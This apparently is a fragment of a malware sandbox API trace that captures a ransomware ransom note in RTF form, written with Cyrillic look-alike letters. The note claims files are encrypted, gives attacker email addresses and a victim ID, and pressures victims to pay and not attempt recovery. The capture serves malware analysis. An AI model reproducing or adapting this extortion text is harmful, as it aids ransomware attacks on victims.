H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u 